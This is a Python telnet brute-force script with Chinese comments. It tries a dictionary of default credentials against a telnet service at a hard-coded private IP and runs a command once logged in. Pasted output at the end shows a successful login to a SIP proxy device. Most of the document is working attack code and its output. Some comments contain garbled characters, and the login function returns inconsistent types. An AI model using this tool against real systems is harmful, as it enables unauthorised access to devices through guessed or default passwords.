#!/usr/bin/env python
# -*- coding:utf-8 -*-

import logging
import telnetlib
import time


# telnet登錄認證相關
auth = {
 "user_prompt": b'Username:',      # 輸入用戶名提示
 "password_prompt": b'Password:',    # 輸入密碼提示
 "enter": b'\r',            # 回車
 "remote_enter": b'\n\r',
}


class TelnetClient(object):
  def __init__(self):
    self.tn = telnetlib.Telnet()    # Telnet client

  def login(self, ip, port, tel_dict):
    """
    telnet 登錄
    :param ip: 目標ip
    :param port: 目標端口
    :param tel_dict: 密碼字典
    :return: 登錄成功(True) or 登錄失敗(False)
    """
    msg = 'trying to login {}:{} telnet service'.format(ip, port)
    print(msg)

    # telnet登錄
    for username, password in tel_dict.items():

      # 創(chuàng)建一個telnet連接
      try:
        self.tn.open(ip, port)
      except:
        logging.warning('%s網絡連接失敗' % ip)
        return False, ''

      msg = 'try user:[{}], password:[{}]'.format(username, password)
      print(msg)

      # 登錄嘗試
      try:
        # 等待輸入用戶名提示user_prompt出現(xiàn)后，輸入用戶名
        self.tn.read_until(auth['user_prompt'], timeout=3)
        self.tn.write(username.encode('ascii') + auth['enter'])

        # 等待輸入密碼提示password_prompt出現(xiàn)后，輸入密碼
        self.tn.read_until(auth['password_prompt'], timeout=3)
        self.tn.write(password.encode('ascii') + auth['enter'])

        # 延時兩秒再收取返回結果，給服務端足夠響應時間
        time.sleep(2)

        # 獲取登錄結果, read_very_eager()獲取到的是的是上次獲取之后本次獲取之前的所有輸出
        command_result = self.tn.read_very_eager().decode('ascii')
        # print('===>', command_result)
        prompt, _ = command_result.split('->')
        # print('===>', prompt.strip())

        # 如果返回的結果中沒有提示輸入用戶名，表示登錄成功
        if auth['user_prompt'] not in command_result.encode('ascii'):
          print('登錄成功')
          return True
        else:
          continue
      except:
        pass
    return False

  def execute_command(self, command):
    """
    執(zhí)行一些命令
    :param command: 要執(zhí)行的命令
    :return: None
    """
    try:
      self.tn.write(command.encode('ascii') + auth['enter'])
      time.sleep(2)
      # 獲取命令結果
      command_result = self.tn.read_very_eager().decode('ascii')
      print('==>', command_result)
    except:
      print('something went wrong...')
      pass

  # 退出telnet，保留
  def logout_host(self):
    self.tn.write(b"bye\r")

if __name__ == '__main__':

  # 參數(shù)
  ip = '172.16.176.120'
  port = '2570'
  tel_dict = {'admin': 'admin', 'aaa': 'bbb', '': ''}

  # 登陸
  tn = TelnetClient()
  tn.login(ip, port, tel_dict)

  # 執(zhí)行命令
  command = 'ver'
  tn.execute_command(command)

  # 退出
  tn.logout_host()

# python3 telnet_brute.py
trying to login 172.16.176.120:2570 telnet service
try user:[admin], password:[admin]
try user:[aaa], password:[bbb]
try user:[], password:[]
登錄成功
==> ver
 Version :PAS_SIPPROXY_6.0.0.3.0.190831, Compile Time: 16:18:41, Feb 25 2020
Return value: 1
SipPrxoy->